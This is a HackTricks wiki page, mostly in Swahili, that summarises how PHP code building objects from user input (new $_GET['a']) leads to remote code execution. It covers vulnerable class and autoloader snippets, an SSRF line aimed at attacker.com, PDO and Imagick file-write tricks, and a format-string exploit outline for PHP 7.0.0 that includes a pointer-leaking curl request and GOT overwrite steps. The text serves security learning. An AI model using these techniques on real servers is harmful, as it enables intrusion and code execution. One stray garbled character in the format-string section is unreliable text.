PHP - RCE abusing object creation: new $_GET"a"

Reading time: 6 minutes

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

This is basically a summary of https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/

Utangulizi

Uundaji wa vitu vipya chochote, kama new $_GET["a"]($_GET["a"]), unaweza kusababisha Remote Code Execution (RCE), kama ilivyoelezwa katika writeup. Hati hii inaonyesha mbinu mbalimbali za kufikia RCE.

RCE kupitia Custom Classes au Autoloading

Muundo new $a($b) unatumika kuanzisha object ambapo $a inawakilisha jina la darasa na $b ni hoja ya kwanza inayopitishwa kwa constructor. Vigezo hivi vinaweza kupatikana kutoka kwa input za mtumiaji kama GET/POST, ambapo vinaweza kuwa strings au arrays, au kutoka JSON, ambapo vinaweza kuonyesha kama aina nyingine.

Consider the code snippet below:

php
class App {
function __construct ($cmd) {
system($cmd);
}
}

class App2 {
function App2 ($cmd) {
system($cmd);
}
}

$a = $_GET['a'];
$b = $_GET['b'];

new $a($b);

Katika tukio hili, kuweka $a kuwa App au App2 na $b kuwa amri ya mfumo (kwa mfano, uname -a) husababisha utekelezaji wa amri hiyo.

Autoloading functions zinaweza kutumiwa ikiwa hakuna classes kama hizo zinazopatikana moja kwa moja. Kazi hizi zinapakia classes kutoka kwa faili wanapohitajika na zimetangazwa kwa kutumia spl_autoload_register au __autoload:

php
spl_autoload_register(function ($class_name) {
include './../classes/' . $class_name . '.php';
});

function __autoload($class_name) {
include $class_name . '.php';
};

spl_autoload_register();

Tabia ya autoloading hubadilika kulingana na matoleo ya PHP, ikitoa fursa tofauti za RCE.

RCE kupitia madarasa yaliyojengwa ndani ya PHP

Ikiwa hakuna madarasa maalum au autoloaders, madarasa ya ndani ya PHP yanaweza kutosha kwa RCE. Idadi ya madarasa haya ni kati ya 100 hadi 200, kulingana na toleo la PHP na extensions. Yanaweza kuorodheshwa kwa kutumia get_declared_classes().

Vianzaji vinavyovutia vinaweza kutambulika kupitia reflection API, kama inavyoonyeshwa katika mfano ufuatao na kiungo https://3v4l.org/2JEGF.

RCE kupitia mbinu maalum ni pamoja na:

SSRF + Phar Deserialization

Darasa la SplFileObject linawezesha SSRF kupitia constructor yake, likiruhusu muunganisho kwa URL yoyote:

php
new SplFileObject('http://attacker.com/');

SSRF inaweza kusababisha deserialization attacks katika matoleo ya PHP kabla ya 8.0 kwa kutumia Phar protocol.

Exploiting PDOs

Konstrukta ya darasa la PDO inaruhusu muunganisho na hifadhidata kupitia DSN strings, ambayo inaweza kuwezesha uundaji wa faili au mwingiliano mwingine:

php
new PDO("sqlite:/tmp/test.txt")

SoapClient/SimpleXMLElement XXE

Toleo za PHP hadi 5.3.22 na 5.4.12 zilikuwa nyembamba kwa mashambulio ya XXE kupitia SoapClient na SimpleXMLElement constructors, kutegemea toleo la libxml2.

RCE via Imagick Extension

Katika uchambuzi wa project's dependencies, iligunduliwa kwamba Imagick inaweza kutumika kwa command execution kwa kuanzisha vitu vipya. Hii inatoa fursa ya kutumia udhaifu uliopo.

VID parser

Uwezo wa VID parser wa kuandika yaliyomo kwa njia yoyote iliyotajwa kwenye filesystem uligunduliwa. Hii inaweza kusababisha kuwekwa kwa PHP shell katika saraka inayoweza kufikiwa na wavuti, ikifanikisha Remote Code Execution (RCE).

VID Parser + File Upload

Imetajwa kwamba PHP huhifadhi kwa muda uploaded files katika /tmp/phpXXXXXX. VID parser katika Imagick, ikitumia protocol ya msl, inaweza kushughulikia wildcards katika njia za faili, na hivyo kuwezesha kuhamisha faili la muda hadi mahali kilichochaguliwa. Njia hii inatoa mbinu nyingine ya kupata arbitrary file writing ndani ya filesystem.

PHP Crash + Brute Force

Njia iliyofafanuliwa katika original writeup inahusisha kupakia faili zinazosababisha server kuanguka kabla ya kufutwa. Kwa brute-forcing jina la faili la muda, inakuwa inawezekana kwa Imagick kutekeleza arbitrary PHP code. Hata hivyo, mbinu hii ilionekana kuwa ya ufanisi tu katika toleo la zamani la ImageMagick.

Format-string in class-name resolution (PHP 7.0.0 Bug #71105)

Wakati user input inadhibiti jina la class (mfano, new $_GET['model']()), PHP 7.0.0 ilileta bug ya muda wakati wa refactor ya Throwable ambapo engine ilikosea kut扱 treat jina la class kama printf format string wakati wa utatuzi. Hii inaruhusu printf-style primitives ndani ya PHP: leaks na %p, write-count control kwa width specifiers, na arbitrary writes na %n dhidi ya in-process pointers (kwa mfano, GOT entries kwenye ELF builds).

Mfano mdogo wa kuonyesha udhaifu:

php
<?php
$model = $_GET['model'];
$object = new $model();

Exploitation outline (from the reference):

  • Leak addresses via %p katika jina la darasa ili kupata lengo linaloweza kuandikwa:
bash
curl "http://host/index.php?model=%p-%p-%p"
# Fatal error includes resolved string with leaked pointers
  • Tumia positional parameters na width specifiers kuweka idadi halisi ya byte, kisha %n kuandika thamani hiyo kwa anwani inayofikiwa kwenye stack, ukilenga slot ya GOT (mfano, free) ili kuifanyia partial overwrite kuelekea system.
  • Sababisha function iliyotekwa kwa kupitisha jina la darasa linalojumuisha shell pipe ili kufikia system("id").

Notes:

  • Inafanya kazi tu kwenye PHP 7.0.0 (Bug #71105); imerekebishwa katika matoleo yafuatayo. Ukali: ya juu ikiwa kuna uwezo wa kuanzisha darasa lolote kwa hiari.
  • Typical payloads huunganisha %p nyingi kutembea stack, kisha %.<width>d%<pos>$n kupata partial overwrite.

References

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks